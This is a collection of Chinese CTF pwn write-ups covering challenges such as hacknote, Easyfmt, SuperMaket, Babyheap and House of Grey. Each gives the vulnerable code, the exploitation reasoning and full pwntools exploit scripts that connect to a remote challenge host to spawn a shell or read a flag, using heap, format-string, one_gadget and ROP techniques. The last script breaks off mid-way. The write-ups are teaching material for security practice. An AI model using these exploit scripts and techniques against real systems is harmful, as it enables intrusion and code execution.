利用 获取libc基址 1 2 3 4 5 6 7 8 9 10 11 12 13 ad(0x10 , 'A' ) ad(0x10 , 'B' ) rm(0 ) rm(1 ) dump_addr = 0x0804862B ad(0x8 , p32(dump_addr) + p32(exe.got['puts' ])) dp(0 ) puts_addr = u32(r(4 )) li('puts_addr: ' + hex (puts_addr)) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) sys_addr = libc_base + libc.dump('system' )
getshell 通过修改函数指针为system获得shell
1 2 3 4 rm(2 ) ad(0x8 , p32(sys_addr) + '; sh' ) dp(0 )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *from LibcSearcher import LibcSearcher context.log_level='debug' exeFile = "hacknote" libFile = "" remoteIp = "111.198.29.45" remotePort = 32693 LOCAL = 0 LIB = 0 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size, text ): sa('Your choice :' , str (1 )) sa('Note size :' , str (size)) sa('Content :' , text)def rm (index ): sa('Your choice :' , str (2 )) sa(':' , str (index))def dp (index ): sa('Your choice :' , str (3 )) sa(':' , str (index)) def q (): sa('Your choice :' , str (4 ))def exploit (): ad(0x10 , 'A' ) ad(0x10 , 'B' ) rm(0 ) rm(1 ) dump_addr = 0x0804862B ad(0x8 , p32(dump_addr) + p32(exe.got['puts' ])) dp(0 ) puts_addr = u32(r(4 )) li('puts_addr: ' + hex (puts_addr)) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) sys_addr = libc_base + libc.dump('system' ) rm(2 ) ad(0x8 , p32(sys_addr) + '; sh' ) dp(0 )def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()
Easyfmt 来源 攻防世界
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char buf; unsigned __int64 v4; v4 = __readfsqword(0x28 u); setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); puts ("welcome to haerbin~" ); if ( (unsigned int )CheckIn() == 1 ) { memset (&buf, 0 , 0x100 uLL); write(1 , "slogan: " , 9uLL ); read(0 , &buf, 0x100 uLL); printf (&buf, &buf, argv); } puts ("bye~" ); exit (0 ); }
思路 这是一个有概率的题,需要多打几次, 概率绕过第一个后, 通过fmt漏洞修改exit的got表实现循环利用,然后泄漏__libc_start_main获取libc基址, 获取system地址后, 然后再partial write修改printf的got为system地址
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from pwn import *from LibcSearcher import LibcSearcher context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = "easyfmt" libFile = "" remoteIp = "111.198.29.45" remotePort = 53453 LOCAL = 0 LIB = 0 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def fmt (prev, word, index ): if prev < word: result = word - prev fmtstr = "%" + str (result) + "c" elif prev == word: result = 0 else : result = 256 + word - prev fmtstr = "%" + str (result) + "c" fmtstr += "%" + str (index) + "$hhn" return fmtstrdef fmt_str (offset, size, addr, target ): payload = "" for i in range (4 ): if size == 4 : payload += p32(addr + i) else : payload += p64(addr + i) prev = len (payload) for i in range (4 ): payload += fmt(prev, (target >> i * 8 ) & 0xff , offset + i) prev = (target >> i * 8 ) & 0xff return payloaddef exploit (): li(rl()) p = '\x31' + '\x00' * 9 s(p) ru(':' ) offset = 10 start_addr = 0x400750 exit_got = exe.got['exit' ] exit_plt = 0x400720 fmt_addr = 0x400982 fini_array = 0x400a74 p = '%' + str (fmt_addr & 0xFFFF ) + 'c%10$hn' + 'A' * 4 + p64(exit_got) li('exit_got: ' + hex (exit_got)) s(p) ru(':' ) p = '%' + str (44 ) +'$p' s(p) ru('0x' ) __libc_start_main = int (r(12 ), 16 ) - 240 libc = LibcSearcher('__libc_start_main' , __libc_start_main) libc_base = __libc_start_main - libc.dump('__libc_start_main' ) sys_addr = libc_base + libc.dump('system' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) printf_addr = libc_base + libc.dump('printf' ) li('libc_base: ' + hex (libc_base)) li('printf_got: ' + hex (exe.got['printf' ])) li('system_addr: ' + hex (sys_addr)) li('printf_addr: ' + hex (printf_addr)) li(hex (0x550000 >> 8 * 2 )) rb3 = (sys_addr & 0xFF0000 ) >> (8 * 2 ) li('sys_5: ' + hex (rb3)) p = '%' + str (rb3) + 'c%13$hhn' p += '%' + str ((sys_addr & 0xFFFF ) - rb3) + 'c%14$hn' p += p64(exe.got['printf' ] + 2 ) p += p64(exe.got['printf' ] + 0 ) s(p) sl('/bin/sh' )def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()
SuperMaket 漏洞点: 添加和删除基本上没有十分严密, 找不到漏洞, 输入的长度且必须是n - 1, 不存在 off by one.然而在修改description的时候,当新的大小与以前大小不同时, 就会realloc重新分配内存.但没有跟新list数组中的指针.若重新分配大的话, 就造成use after free.
简要说一下 realloc函数吧:
extern void *realloc(void *mem_address, unsigned int newsize);
realloc会根据newsize大小来判断怎样分配新的内存, 并却将原来的数据拷贝到新分配的内存中.
realloc包含了 malloc, free, memcpy三个函数功能, 若新的大小过大的时候, 且在相邻chunk没有空间可分配, 这时候,系统就会去找一个空间够的地方来开辟内存, 这时候就可能涉及到这三个函数的功能. malloc新的内存, mcmcpy拷贝数据, free掉以前的chunk.
漏洞代码: 1 2 3 4 5 6 7 for ( size = 0 ; size <= 0 || size > 256 ; size = inputNum () ) printf ("descrip_size:" ); if ( *((_DWORD *)(&list_0)[v1] + 5 ) != size ) realloc (*((void **)(&list_0)[v1] + 6 ), size); printf ("description:" ); return inputName (*((_DWORD *)(&list_0)[v1] + 6 ), *((_DWORD *)(&list_0)[v1] + 5 )); }
整体思路: 获得libc的基地址: 利用这个漏洞来修改free函数的got表为puts, 传入参数为atoi函数的got地址.调用free时, 获得atoi在libc中的地址.计算偏移即可
调用system. 获得libc地址之后, 也利用这个漏洞修改atoi的got表地址为system地址.然后在进行选择的时候直接传入参数 ‘/bin/sh’即可获得shell.当然还可以继续修改free的got地址为system.但需要得到’/bin/sh’在libc中的地址, 且在chunk头的decription地址中写入该地址.调用free也行, 我试过了, system虽然能调用成功, 就是这个’/bin/sh’在libc中的偏移有问题. 结果 就是sh :cmd not found
以上就是整体思路:
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 from pwn import * exeFile = "supermarket" libFile = "libc.so.6" remoteIp = "111.198.29.45" remotePort = 57966 LOCAL = 0 LIBC = 1 r = lambda x : io.recv(x) rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (index, size, text ): sla('>> ' , str (1 )) sla(':' , str (index)) sla(':' , str (0 )) sla(':' , str (size)) sla(':' , text)def rm (index ): sla('>> ' , str (2 )) sla(':' , str (index))def dp (): sla('>> ' , str (3 ))def md (index, size, text ): sla('>> ' , str (5 )) sla(':' , str (index)) sla(':' , str (size)) sla(':' , text)def q (): sa('>> ' , str (6 ))def exploit (): ad(0 , 0x80 , '0' * (0x80 - 1 )) ad(1 , 0x10 , '1' * (0x10 - 1 )) md(0 , 0x90 , '' ) ad(2 , 0x10 , '2' * (0x10 - 1 )) p = p32(0x32 ) + p32(0 ) * 4 p += p32(0x10 ) + p32(exe.got['free' ]) p += '\x19' md(0 , 0x80 , p) p2 = p32(exe.plt['puts' ]) md(2 , 0x10 , p2) p3 = p32(0x32 ) + p32(0 ) * 4 p3 += p32(0x10 ) + p32(exe.got['atoi' ]) p3 += '\x19' md(0 , 0x80 , p3) rm(2 ) atoi_addr = u32(r(4 )) li('libc_base: ' + hex (atoi_addr)) libc_base = atoi_addr - lib.sym['atoi' ] li('libc_base: ' + hex (libc_base)) sys_addr = libc_base + lib.sym['system' ] sh_addr = libc_base + 0x0015902b ad(3 , 0x10 , '3' * (0x10 - 1 )) p4 = p32(0x32 ) + p32(0 ) * 4 p4 += p32(0x10 ) + p32(0x0 ) p4 += p32(0x19 ) + p32(0x0 ) * 5 p4 += p32(0x21 ) p4 += p32(0x33 ) p4 += p32(0x0 ) * 4 p4 += p32(0x10 ) p4 += p32(exe.got['atoi' ]) + '\x19' md(0 , 0x80 , p4) p5 = p32(sys_addr) md(3 , 0x10 , p5) sla('>> ' , '/bin/sh' )def finish (): ia() c()if __name__ == '__main__' : exe = ELF(exeFile) if LOCAL: if LIBC: lib = ELF('/lib/i386-linux-gnu/libc.so.6' ) io = exe.process() else : io = remote(remoteIp, remotePort) if LIBC: lib = ELF(libFile) exploit() finish()
Babyheap 来源 World of Attack & Defense
难度 6 / 10
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
简单描述 只有4个功能, 添加,删除,查看,退出.保护全开,只有一个漏洞可以利用.
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 __fastcall read_input (__int64 a1, int a2) { char buf; int i; unsigned __int64 v5; v5 = __readfsqword(0x28 u); for ( i = 0 ; i < a2; ++i ) { if ( (signed int )read(0 , &buf, 1uLL ) < 0 ) puts ("Read error!\n" ); if ( buf == 10 ) break ; *(_BYTE *)(a1 + i) = buf; } *(_BYTE *)(i + a1) = 0 ; return __readfsqword(0x28 u) ^ v5; }
off by null 漏洞,还有一个是在free时,unsigned int与signed int的索引值,但利用不了…
知识点 house of einherjar, off by one, unlink check, fastbin attack, realloc_hook to banance stack, one_gadget
思路 通过house of einherjar实现堆合并,然后通过unsorted bin特性分割堆块,打印获取main_arena + 88地址,通过fastbin attack 打入 malloc_hook - 0x23处,通过 malloc_hook来实现Onegaget,realloc_hook调整execve第二个参数
利用 准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = "timu" libFile = "./libc.so.6" libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size, data ): sla('Your choice :' , str (1 )) sla('Size:' , str (size)) sa('Data:' , data)def rm (idx ): sla('Your choice :' , str (2 )) sla('Index:' , str (idx))def dp (): sla('Your choice :' , str (3 ))
构造堆快布局 1 2 3 4 5 ad(0x80 , 'A' * 0x80 ) ad(0x80 , 'B' * 0x80 ) ad(0x68 , 'C' * 0x68 ) ad(0xF0 , 'E\n' ) ad(0x68 , 'F\n' )
使用house of einherjar 来合并 chunk 1 1 2 3 4 5 6 7 8 9 10 11 rm(2 ) p = 'C' * 0x60 p += p64(0x190 ) ad(0x68 , p) rm(2 ) rm(0 ) rm(3 )
泄漏 main_arena 和libc基址 通过分割unsorted bin实现main_arena信息转移,通过开辟0x80内存后, main_arena信息会跑到chunk 1中, 由于我们还对chunk 1没有释放, 直接打印即可获取main_arena + 88 处地址
1 2 3 4 5 6 7 ad(0x80 , 'A' * 16 + '\n' ) dp() main_arena = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - 0x58 libc_base = main_arena - 0x3c4b20 li('main_arena ' + hex (main_arena)) li('libc_base ' + hex (libc_base))
fastbin attack打入 malloc_hook处 1 2 3 4 5 6 7 8 9 10 p = '\x00' * 0x80 p += p64(0 ) p += p64(0x71 ) p += p64(main_arena - 0x33 ) p += '\n' ad(0xA0 , p) ad(0x68 , '\n' )
修改malloc_hook 由于直接修改malloc_hook为one_gadget,由于参数 [rsp + x] x 为0x30,0x50,0x70都不能使[rsp + x]为0,也就是说在执行execve的时候,第二个参数的内容没有满足为 0,所以不能触发get shell, 需要使用 realloc_hook来进行调整rsp的偏移,进而修改[rsp + x]满足为0,而在realloc_hook处,我们可以填写reallc的地址根据push来调整rsp的偏移,达到 [rsp + x]为0, 而在执行push完之后,就先进行判断 realloc_hook是否为0,若不为0,就先执行 realloc_hook处,这时我们就可以填写one_gadget 到realloc_hook处来打one_gadget
realloc_hook反汇编 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> disass 0x7fe7cb0ea6c0 Dump of assembler code for function __GI___libc_realloc: 0x00007fe7cb0ea6c0 <+0>: push r15 0x00007fe7cb0ea6c2 <+2>: push r14 0x00007fe7cb0ea6c4 <+4>: push r13 0x00007fe7cb0ea6c6 <+6>: push r12 0x00007fe7cb0ea6c8 <+8>: mov r13,rsi 0x00007fe7cb0ea6cb <+11>: push rbp 0x00007fe7cb0ea6cc <+12>: push rbx 0x00007fe7cb0ea6cd <+13>: mov rbx,rdi 0x00007fe7cb0ea6d0 <+16>: sub rsp,0x38 0x00007fe7cb0ea6d4 <+20>: mov rax,QWORD PTR [rip+0x33f8f5] # 0x7fe7cb429fd0 0x00007fe7cb0ea6db <+27>: mov rax,QWORD PTR [rax] 0x00007fe7cb0ea6de <+30>: test rax,rax 0x00007fe7cb0ea6e1 <+33>: jne 0x7fe7cb0ea8e8 <__GI___libc_realloc+552> 0x00007fe7cb0ea6e7 <+39>: test rsi,rsi 0x00007fe7cb0ea6ea <+42>: jne 0x7fe7cb0ea6f5 <__GI___libc_realloc+53> 0x00007fe7cb0ea6ec <+44>: test rdi,rdi
通过调试试出了两个one_gadget满足execve 第二个参数内容为0
malloc_hook = libc_base + 0x4526a, realloc_hook = realloc_addr + 2
malloc_hook = libc_base + 0xf1147, realloc_hook = realloc_addr + 20
execve执行情况如下 1 2 3 4 0x7fe7cb15715d <exec_comm+2285> call execve <0x7fe7cb132770> path: 0x7fe7cb1f2d57 ◂— 0x68732f6e69622f /* '/bin/sh' */ argv: 0x7ffe640ad200 ◂— 0x0 envp: 0x7ffe640ad2c8 —▸ 0x7ffe640adfaf ◂— 'LD_PRELOAD=/lib/x86_64-linux-gnu/libc.so.6'
payload构造如下 1 2 3 4 5 6 7 8 9 10 11 12 realloc_addr = libc_base + lib.sym['realloc' ] li('realloc_addr ' + hex (realloc_addr)) gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = libc_base + gadget[3 ] p = '\x11' * (0x13 - 8 ) p += p64(one_gadget) p += p64(realloc_addr + 20 ) p += '\n' ad(0x68 , p)
get shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = "timu" libFile = "./libc.so.6" libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size, data ): sla('Your choice :' , str (1 )) sla('Size:' , str (size)) sa('Data:' , data)def rm (idx ): sla('Your choice :' , str (2 )) sla('Index:' , str (idx))def dp (): sla('Your choice :' , str (3 ))def exploit (): ad(0x80 , 'A' * 0x80 ) ad(0x80 , 'B' * 0x80 ) ad(0x68 , 'C' * 0x68 ) ad(0xF0 , 'E\n' ) ad(0x68 , 'F\n' ) rm(2 ) p = 'C' * 0x60 p += p64(0x190 ) ad(0x68 , p) rm(2 ) rm(0 ) rm(3 ) ad(0x80 , 'A' * 16 + '\n' ) dp() main_arena = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - 0x58 libc_base = main_arena - 0x3c4b20 li('main_arena ' + hex (main_arena)) li('libc_base ' + hex (libc_base)) p = '\x00' * 0x80 p += p64(0 ) p += p64(0x71 ) p += p64(main_arena - 0x33 ) p += '\n' ad(0xA0 , p) ad(0x68 , '\n' ) realloc_addr = libc_base + lib.sym['realloc' ] li('realloc_addr ' + hex (realloc_addr)) gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = libc_base + gadget[3 ] p = '\x11' * (0x13 - 8 ) p += p64(one_gadget) p += p64(realloc_addr + 20 ) p += '\n' ad(0x68 , p) sl('1' ) sl('1' ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
House Of Grey 来源 World of Attack & Defense
难度 8 / 10
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
简单描述 该题没有明显的分界点, 涉及的知识也比较陌生,十分经典. 通过创建子进程方式避免被直接调试,且有记时,保护全开,要理解linux下的一些文件.如 /proc/self/下的文件,通过seccomp-tools检验程序, 发现禁用execve函数,只能通过open,read,write获取flag
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 void __fastcall fn (void *arg) { unsigned __int64 v1; int fd; signed int i; int v4; int v5; void *v6; char buf[24 ]; void *v8; char nptr; unsigned __int64 v10; __int64 savedregs; v10 = __readfsqword(0x28 u); puts ("You get into my room. Just find something!\n" ); v6 = malloc (100000uLL ); if ( !v6 ) { perror("malloc" ); exit (1 ); } if ( (unsigned int )sub_14D2(100000LL ) ) exit (1 ); v8 = v6; for ( i = 0 ; i <= 29 ; ++i ) { sub_FEE(); switch ( (unsigned int )&savedregs ) { case 1u : puts ("So man, what are you finding?" ); buf[(signed int )((unsigned __int64)read(0 , buf, 40uLL ) - 1 )] = 0 ; if ( (unsigned int )check(buf) ) { puts ("Man, don't do it! See you^." ); exit (1 ); } fd = open(buf, 0 ); if ( fd < 0 ) { perror("open" ); exit (1 ); } return ; case 2u : puts ("So, Where are you?" ); read(0 , &nptr, 0x20 uLL); v1 = strtoull(&nptr, 0LL , 10 ); lseek(fd, v1, 0 ); break ; case 3u : puts ("How many things do you want to get?" ); read(0 , &nptr, 8uLL ); v4 = atoi(&nptr); if ( v4 <= 100000 ) { v5 = read(fd, v8, v4); if ( v5 < 0 ) { puts ("error read" ); perror("read" ); exit (1 ); } puts ("You get something:" ); write(1 , v8, v5); } else { puts ("You greedy man!" ); } break ; case 4u : puts ("What do you want to give me?" ); puts ("content: " ); read(0 , v8, 0x200 uLL); break ; case 5u : exit (0 ); return ; default : continue ; } } puts ("\nI guess you don't want to say Goodbye!" ); puts ("But sadly, bye! Hope you come again!\n" ); exit (0 ); }
vul: 存在堆栈溢出, 通过覆盖 v8实现任意地址读写
知识点 由于可以读取除了flag之外的文件,就可以读取/proc/self/maps文件,Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
程序最后有一个exit(0),由此,覆盖fn函数的返回地址来构造ROP不可行,但可以覆盖read函数的返回地址,也就是调用read任意写时,把自己的返回地址给覆盖了,这样ROP写入后就直接开始执行了。为了覆盖read的返回地址,就需要确定栈的地址。
但是,由于程序是clone出来的,第三个参数指定了clone出的进程的栈地址,程序一开始用mmap映射了一段内存,然后取了其中的一个随机的位置传给了clone,由此,并不知道程序的栈地址。但是,可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址, 注意,堆栈的生长方向是由高地址向低地址生长。
思路
如何调试? 使用ida把超时函数的exit给patch掉, 通过gdb attach的方式调试子进程
漏洞 1: 明显的漏洞点就在执行1功能的时候就有字符串溢出, 可以覆盖v8变量通过4功能实现任意地址写入.
漏洞 2: 可以通过输入打开文件为 /proc/self/maps来获取各个基址
绕过PIE,以及利用/proc/self/mem来读取任意地址的内容
通过在/proc/self/mem中搜索’/proc/self/maps’字符串来定位堆栈的地址
计算出read ret地址,构造rop链读取flag
利用 获取基址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 sla('?' , 'y' ) p = '/proc/self/maps' fid(p) get(1500 ) ru('You get something:\n' ) exe_base = int (r(12 ), 16 ) ru('[heap]\n' ) stack_start = int (r(12 ), 16 ) ru('-' ) stack_end = int (r(12 ), 16 ) ru('rw-p 00000000 00:00 0 \n' ) libc_base = int (r(12 ), 16 ) li('exe_base ' + hex (exe_base)) li('libc_base ' + hex (libc_base)) li('stack_start ' + hex (stack_start)) li('stack_end ' + hex (stack_end)) pop_rdi_ret_offset = 0x1823 pop_rsi_r15_ret_offset = 0x1821 pop_rdi_ret = exe_base + pop_rdi_ret_offset pop_rsi_r15_ret = exe_base + pop_rsi_r15_ret_offset open_plt = exe_base + exe.plt['open' ] read_plt = exe_base + exe.plt['read' ] puts_plt = exe_base + exe.plt['puts' ]
搜索内存定位read ret地址 接下来,就需要读取/proc/self/mem来搜索内存,确定栈地址了
1 2 3 4 for ( i = 0 ; i <= 29 ; ++i ) { sub_FEE(); ...
通过以上逻辑,程序只可以循环使用30次, 前面使用了4次, ,最后还需要用2次,搜索内存只能使用24次.
而每次最多允许读取100000个字节的数据,由此,能搜索2400000个字节的内容,通过调试,观察数据的栈地址,计算它与stack_end的值的差值,做一个大致的范围,由于栈是从高往低增长的,因此,应该从stack_end – x ~ stack_end搜索
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 offset = 0xf800000 li('debug---------------' ) stack_begin_offset = stack_end - offset - 24 * 100000 li('stack_begin_offset ' + hex (stack_begin_offset)) li('stack_end ' + hex (stack_end)) fid('/proc/self/mem' ) loc(stack_begin_offset) for i in range (0 , 24 ): get(100000 ) text = ru('1.Find something' ) if '/proc/self/mem' in text: content = text.split('/proc/self/mem' )[0 ] //若找到, 切割该字符串,获取前面的内容长度. break if i == 23 : li('not found' ) exit(0 ) v8_addr = stack_begin_offset + i * 100000 + len (content) - 0x14 li('v8_addr: ' + hex (v8_addr)) read_ret = v8_addr - (0x60 - 0x08 ) + 0x20 li('read_ret: ' + hex (read_ret))
构造rop链 在这里,只能通过写入read的 ret地址, 因为只有在刚读取完成之后, 返回的地址才不会被覆盖, 其他函数修改是被覆盖的,没有效果.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 p = '/proc/self/mem' .ljust(24 , '\x00' ) + p64(read_ret) fid(p) ''' read(fd, buf, length) 1 RDI 0x0 #fd 2 RSI 0x7fd5ffbc3640 ◂— '/proc/self/mem' #buf 3 RDX 0x28 #length ''' ret = read_ret p = p64(pop_rdi_ret) + p64(ret + 15 * 8 ) p += p64(pop_rsi_r15_ret) + p64(0 ) + p64(0 ) + p64(open_plt) p += p64(pop_rdi_ret) + p64(6 ) p += p64(pop_rsi_r15_ret) + p64(ret + 15 * 8 ) + p64(0 ) + p64(read_plt) p += p64(pop_rdi_ret) + p64(ret + 15 * 8 ) + p64(puts_plt) p += './flag\x00' giv(p)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = "house_of_grey" libFile = "" remoteIp = "111.198.29.45" remotePort = 44908 LOCAL = 0 LIB = 0 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def fid (text ): sla('5.Exit\n' , '1' ) sla('?' , text)def loc (offset ): sla('5.Exit\n' , '2' ) sla('?' , str (offset)) def get (length ): sla('5.Exit\n' , '3' ) sla('?' , str (length))def giv (text ): sla('5.Exit\n' , '4' ) sla('?' , text)def q (text ): sla('5.Exit\n' , '5' )def exploit (): sla('?' , 'y' ) p = '/proc/self/maps' fid(p) get(1500 ) ru('You get something:\n' ) exe_base = int (r(12 ), 16 ) ru('[heap]\n' ) stack_start = int (r(12 ), 16 ) ru('-' ) stack_end = int (r(12 ), 16 ) ru('rw-p 00000000 00:00 0 \n' ) 